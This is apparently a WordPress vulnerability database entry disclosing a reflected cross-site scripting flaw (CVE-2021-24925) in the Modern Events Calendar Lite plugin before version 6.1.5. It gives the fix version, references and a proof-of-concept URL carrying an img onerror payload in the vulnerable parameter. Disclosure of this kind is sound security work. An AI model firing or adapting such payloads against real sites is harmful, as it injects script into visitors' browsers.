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WordPress Plugin Vulnerabilities

Modern Events Calendar Lite < 6.1.5 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the current_month_divider parameter of its mec_list_load_more AJAX call (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=mec_list_load_more&current_month_divider=%3Cimg%20src%20onerror=alert(`XSS`);%3E&mec_start_date=1000-01-01 

Affects Plugins

modern-events-calendar-lite
Fixed in version 6.1.5

References

CVE
CVE-2021-24925

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
82233588-6033-462d-b886-a8ef5ee9adb0

Timeline

Publicly Published

2021-11-15 (about 1 years ago)

Added

2021-11-15 (about 1 years ago)

Last Updated

2022-04-11 (about 9 months ago)

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